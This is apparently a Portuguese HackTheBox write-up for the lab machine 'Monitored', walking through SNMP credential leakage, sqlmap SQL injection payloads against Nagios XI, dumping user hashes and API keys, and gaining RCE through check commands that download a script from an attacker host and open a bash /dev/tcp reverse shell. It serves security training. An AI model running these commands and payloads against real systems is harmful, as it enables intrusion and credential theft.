Hackthebox
Neste writeup iremos explorar uma máquina linux de nível medium chamada Monitored que aborda as seguintes vulnerabilidades e técnicas:
- SNMP Data Collect
- SQL Injection
- Remote Code Execution
- Week Permissions for files
Recon e User Flag
Iremos iniciar nossa análise do alvo realizando uma varredura a procura de portas abertas através do nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/biznet]
└─# nmap -sV --open -Pn 10.129.15.145
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-13 14:19 EST
Nmap scan report for 10.129.15.145
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.33 seconds
Pelo certificado ssl encontramos o subdomínio nagions.monitored.htb:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -vk https://10.129.130.92
* Trying 10.129.130.92:443...
* Connected to 10.129.130.92 (10.129.130.92) port 443 (#0)
...
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted http/1.1
* Server certificate:
* subject: C=UK; ST=Dorset; L=Bournemouth; O=Monitored; CN=nagios.monitored.htb; emailAddress=support@monitored.htb
* start date: Nov 11 21:46:55 2023 GMT
* expire date: Aug 25 21:46:55 2297 GMT
* issuer: C=UK; ST=Dorset; L=Bournemouth; O=Monitored; CN=nagios.monitored.htb; emailAddress=support@monitored.htb
* SSL certificate verify result: self-signed certificate (18), continuing anyway.
Vamos adiciona-lo ao /etc/hosts.
Ao acessar temos uma tela que redireciona para /nagiosxi:
O usuário e senha padrão do nagios xi é nagiosadmin:nagiosadmin, no entanto, não é este o caso.
Vamos utilizar o gobuster para descobrir diretórios e endpoints:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u https://nagios.monitored.htb/nagiosxi/ -k -x .php,.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://nagios.monitored.htb/nagiosxi/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2024/01/13 14:52:15 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.php (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/.htaccess.txt (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/about (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/about/]
/account (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/account/]
/admin (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/admin/]
/api (Status: 301) [Size: 323] [--> https://nagios.monitored.htb/nagiosxi/api/]
/backend (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/backend/]
/config (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/config/]
/db (Status: 301) [Size: 322] [--> https://nagios.monitored.htb/nagiosxi/db/]
/help (Status: 301) [Size: 324] [--> https://nagios.monitored.htb/nagiosxi/help/]
/images (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/images/]
/includes (Status: 301) [Size: 328] [--> https://nagios.monitored.htb/nagiosxi/includes/]
/index.php (Status: 302) [Size: 27] [--> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1]
/install.php (Status: 302) [Size: 0] [--> https://nagios.monitored.htb/nagiosxi/]
/login.php (Status: 200) [Size: 26148]
/mobile (Status: 301) [Size: 326] [--> https://nagios.monitored.htb/nagiosxi/mobile/]
/reports (Status: 301) [Size: 327] [--> https://nagios.monitored.htb/nagiosxi/reports/]
/rr.php (Status: 302) [Size: 0] [--> login.php]
/sounds (Status: 403) [Size: 279]
/suggest.php (Status: 200) [Size: 27]
/terminal (Status: 200) [Size: 5215]
/tools (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/tools/]
/upgrade.php (Status: 302) [Size: 0] [--> index.php]
/views (Status: 301) [Size: 325] [--> https://nagios.monitored.htb/nagiosxi/views/]
Progress: 61407 / 61410 (100.00%)
===============================================================
Aqui temos alguns endpoints interessantes, como o /terminal que é um terminal via navegador conhecido como shell in a box, mas ele precisa de usuário e senha para acesso.
O mesmo se aplica ao endpoint /api, que como o nome sugere é responsável pela api do nagios xi. Também é necessário ter autenticação.
Vamos utilizar o gobuster novamente, mas desta vez diretamente no subdomínio:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u https://nagios.monitored.htb/ -k -x .php,.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://nagios.monitored.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2024/01/13 16:30:51 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 279]
/.htaccess.txt (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/cgi-bin/ (Status: 403) [Size: 279]
/cgi-bin/.php (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 3245]
/javascript (Status: 301) [Size: 321] [--> https://10.129.15.145/javascript/]
/nagios (Status: 401) [Size: 461]
/server-status (Status: 403) [Size: 279]
Progress: 61403 / 61410 (99.99%)
===============================================================
Aqui temos outros endpoints interessantes, como o /nagios, que possui uma autenticação via Basic Auth, no qual o navegador nos da um pop up solicitando os dados de acesso.
Como possui um ldap podemos executar um recon com snmpwalk para coletar dados SNMP:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# snmpwalk -v1 -c public nagios.monitored.htb | grep STRING
...
iso.3.6.1.2.1.25.4.2.1.4.966 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.967 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.968 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.969 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.970 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.1351 = STRING: "/usr/local/nagios/bin/nagios"
iso.3.6.1.2.1.25.4.2.1.4.1362 = STRING: "sudo"
iso.3.6.1.2.1.25.4.2.1.4.1363 = STRING: "/bin/bash"
iso.3.6.1.2.1.25.4.2.1.4.1403 = STRING: "/usr/sbin/exim4"
iso.3.6.1.2.1.25.4.2.1.4.6830 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.7994 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10341 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10410 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10412 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10413 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10739 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10814 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.10991 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11088 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11096 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11216 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11249 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11338 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11340 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11458 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11459 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11464 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11556 = STRING: "sleep"
iso.3.6.1.2.1.25.4.2.1.4.11572 = STRING: "/usr/sbin/CRON"
iso.3.6.1.2.1.25.4.2.1.4.11575 = STRING: "/bin/sh"
iso.3.6.1.2.1.25.4.2.1.4.11576 = STRING: "/usr/bin/php"
iso.3.6.1.2.1.25.4.2.1.4.11578 = STRING: "/usr/sbin/apache2"
iso.3.6.1.2.1.25.4.2.1.4.11587 = STRING: "/usr/sbin/exim4"
iso.3.6.1.2.1.25.4.2.1.5.467 = STRING: "--config /etc/laurel/config.toml"
iso.3.6.1.2.1.25.4.2.1.5.532 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.533 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.537 = STRING: "-n -iNONE"
iso.3.6.1.2.1.25.4.2.1.5.540 = STRING: "-u -s -O /run/wpa_supplicant"
iso.3.6.1.2.1.25.4.2.1.5.544 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.562 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.640 = STRING: "-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"
iso.3.6.1.2.1.25.4.2.1.5.729 = STRING: "-f /usr/local/nagios/etc/pnp/npcd.cfg"
iso.3.6.1.2.1.25.4.2.1.5.735 = STRING: "-LOw -f -p /run/snmptrapd.pid"
iso.3.6.1.2.1.25.4.2.1.5.750 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
iso.3.6.1.2.1.25.4.2.1.5.757 = STRING: "-o -p -- \\u --noclear tty1 linux"
iso.3.6.1.2.1.25.4.2.1.5.760 = STRING: "-p /var/run/ntpd.pid -g -u 108:116"
iso.3.6.1.2.1.25.4.2.1.5.793 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.794 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.800 = STRING: "-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"
iso.3.6.1.2.1.25.4.2.1.5.840 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.846 = STRING: "-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"
iso.3.6.1.2.1.25.4.2.1.5.934 = STRING: "-pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6"
iso.3.6.1.2.1.25.4.2.1.5.952 = STRING: "/usr/sbin/snmptt --daemon"
iso.3.6.1.2.1.25.4.2.1.5.954 = STRING: "/usr/sbin/snmptt --daemon"
iso.3.6.1.2.1.25.4.2.1.5.966 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.967 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.968 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.969 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.970 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.1351 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.1362 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1363 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1403 = STRING: "-bd -q30m"
iso.3.6.1.2.1.25.4.2.1.5.6830 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.7994 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10410 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10412 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10413 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10739 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.10991 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11088 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11096 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11216 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11249 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11338 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11458 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11464 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11578 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11612 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11650 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11654 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11655 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11657 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.11689 = STRING: "60"
iso.3.6.1.2.1.25.4.2.1.5.11697 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.11698 = STRING: "-c /usr/bin/php -q /usr/local/nagiosxi/cron/cmdsubsys.php >> /usr/local/nagiosxi/var/cmdsubsys.log 2>&1"
iso.3.6.1.2.1.25.4.2.1.5.11699 = STRING: "-q /usr/local/nagiosxi/cron/cmdsubsys.php"
iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "adduser_3.118+deb11u1_all"
...
Como a saída do snmpwalk é muito grande foi filtrado por STRING e temos um usuário e senha:
svc:XjH7VCehowpR1xZB
Com esse user não conseguimos acessar via ssh nem o endpoint /nagiosxi, no entanto, conseguimos em nagios.monitored.htb/nagios.
Analisando as docs do nagios xi (que é bem limitada) encontramos um endpoint no nagiosxi chamado /api/v1/authenticate que é utilizado para gerar um token de autenticação:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -k -XPOST -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=1000' https://nagios.monitored.htb/nagiosxi/api/v1/authenticate
{"username":"svc","user_id":"2","auth_token":"c035f0bb3bbb9f6230d99675fdbf21941386e525","valid_min":1000,"valid_until":"Mon, 15 Jan 2024 06:59:41 -0500"}
E assim conseguimos gerar um token, no qual utilizamos para acessar a api do nagioxi.
O nagioxi por sua vez possui diversas vulnerabilidades recentes, dentre elas a CVE-2023-40931.
Que através da api podemos utilizar o sqlmap para explora-la:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=c035f0bb3bbb9f6230d99675fdbf21941386e525" --batch --tables
___
__H__
___ ___["]_____ ___ ___ {1.7.9.2#dev}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[14:34:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:34:05] [WARNING] GET parameter 'action' does not seem to be injectable
[14:34:05] [INFO] testing if GET parameter 'id' is dynamic
[14:34:06] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:34:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[14:34:07] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[14:34:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:34:08] [WARNING] reflective value(s) found and filtering out
[14:34:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:34:18] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")
[14:34:18] [INFO] testing 'Generic inline queries'
[14:34:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:34:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[14:34:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[14:34:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[14:34:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[14:34:23] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[14:34:24] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[14:34:25] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[14:34:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:34:26] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:34:27] [INFO] GET parameter 'id' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[14:34:27] [INFO] testing 'MySQL inline queries'
...
...
[14:34:46] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 271 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (7780=7780) THEN 3 ELSE (SELECT 8823 UNION SELECT 4738) END))&token=c035f0bb3bbb9f6230d99675fdbf21941386e525
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: action=acknowledge_banner_message&id=3 OR (SELECT 6550 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(6550=6550,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=acknowledge_banner_message&id=3 AND (SELECT 6899 FROM (SELECT(SLEEP(5)))agwy)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525
---
[14:37:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...
Database: information_schema
[82 tables]
+---------------------------------------+
| ALL_PLUGINS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
| CLIENT_STATISTICS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES |
| ENABLED_ROLES |
| FILES |
| GEOMETRY_COLUMNS |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INDEX_STATISTICS |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_MUTEXES |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_SEMAPHORE_WAITS |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_SYS_VIRTUAL |
| INNODB_TABLESPACES_ENCRYPTION |
| INNODB_TRX |
| KEYWORDS |
| KEY_CACHES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| SPATIAL_REF_SYS |
| SQL_FUNCTIONS |
| STATISTICS |
| SYSTEM_VARIABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TABLE_STATISTICS |
| THREAD_POOL_GROUPS |
| THREAD_POOL_QUEUES |
| THREAD_POOL_STATS |
| THREAD_POOL_WAITS |
| USER_PRIVILEGES |
| USER_STATISTICS |
| VIEWS |
| COLUMNS |
| ENGINES |
| EVENTS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| TABLES |
| TRIGGERS |
| user_variables |
+---------------------------------------+
Database: nagiosxi
[22 tables]
+---------------------------------------+
| xi_auditlog |
| xi_auth_tokens |
| xi_banner_messages |
| xi_cmp_ccm_backups |
| xi_cmp_favorites |
| xi_cmp_nagiosbpi_backups |
| xi_cmp_scheduledreports_log |
| xi_cmp_trapdata |
| xi_cmp_trapdata_log |
| xi_commands |
| xi_deploy_agents |
| xi_deploy_jobs |
| xi_eventqueue |
| xi_events |
| xi_link_users_messages |
| xi_meta |
| xi_mibs |
| xi_options |
| xi_sessions |
| xi_sysstat |
| xi_usermeta |
| xi_users |
+---------------------------------------+
[14:40:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nagios.monitored.htb'
Aqui temos o retorno de todas as tabelas de todos os bancos existentes, que são information_schema e nagiosxi.
Buscando credenciais podemos visualizar o conteúdo da tabela xi_users do banco de dados nagiosxi:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=eca836b1c8d71116d87c8436cf5c2c45236b3f29" --batch -D nagiosxi -T xi_users --dump
...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email | name | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1 | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 0 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 0 | 1701427555 |
| 2 | svc@monitored.htb | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1705260273 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 5 | 1699697433 |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
Com o token do admin conseguimos acesso como admin na api, e assim conseguimos criar um usuário para interface com o seguinte comando:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl -XPOST --insecure "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=mrntsgs&password=mrtnsgs&name=mrtnsgs&email=mrtnsgs@localhost&auth_level=admin"
{
"success": "User account mrntsgs was added successfully!",
"user_id": 6
}
Com isso conseguimos logar na interface:
No primeiro acesso será solicitado a troca da senha do novo usuário:
E agora temos acesso a interface:
O Nagios possuí diversas funcionalidades para monitorar hosts e serviços, dentre estes podemos utilizar comandos de checagem, ja existem alguns pré-definidos e podemos criar novos.
Para isso vamos acessar em Starting Monitoring -> Advanced Config:
Na próxima tela vamos acessar Commands:
E aqui temos diversos comandos ja pré definidos:
Visando conseguir um shell podemos criar dois comandos para o localhost que ira realizar o download e executar nossa reverse shell. Para isso vamos clicar em + Add New e adicionar o seguinte comando:
curl http://10.10.14.128:8081/rev.sh -o /tmp/rev.sh
Um ponto de atenção é manter o Command Type como check command, para que fique disponível para execução que iremos ver logo a seguir.
Basta clicar em Save e na próxima tela em Apply Configuration.
Este primeiro comando ira baixar o reverse shell e salvar no diretório /tmp. Precisamos agora adicionar outro comando, que executará o script contendo nosso reverse shell:
bash /tmp/rev.sh
Seguindo os mesmos procedimentos teremos os dois comandos abaixo:
Não esquecer de clicar em Apply Configuration!
Precisamos criar o arquivo rev.sh com o seguinte conteúdo:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.128/9001 0>&1
No terminal iremos subir um servidor http usando python, para que seja possível o download proveniente do alvo:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Em outra aba do terminal iremos utilizar o pwncat para receber a conexão reversa quando executarmos o segundo comando:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs -lp 9001
[13:45:22] Welcome to pwncat 🐈!
Precisamos partir para a execução dos comandos, iremos na coluna a direita iremos em Monitoring -> Hosts:
Iremos clicar em localhost. Aqui temos diversas configurações para o host, onde nesse caso é nosso alvo. Na aba Check Command iremos buscar nossos comandos revshell-download e revshell-download.
Primeiro iremos executar o download do arquivo, para isso iremos clicar em Run Check Command, que irá abrir uma opção e iremos clicar novamente em Run Check Command, que executará nosso comando:
Confirmamos o RCE em nosso servidor http que recebeu a requisição:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.130.92 - - [17/Jan/2024 14:05:46] "GET /rev.sh HTTP/1.1" 200 -
Com o arquivo em nosso alvo, agora iremos executar nosso comando revshell-exec.
E temos o seguinte retorno no pwncat:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs -lp 9001
[13:45:22] Welcome to pwncat 🐈! __main__.py:164
[14:09:50] received connection from 10.129.130.92:37844 bind.py:84
[14:09:53] 0.0.0.0:9001: normalizing shell path manager.py:957
[14:09:57] 10.129.130.92:37844: registered new host w/ db manager.py:957
(local) pwncat$
Conseguimos um shell em nosso alvo com o usuário nagios. Com isso conseguimos a user flag:
(local) pwncat$
(remote) nagios@monitored:/home/nagios$ ls -alh
total 24K
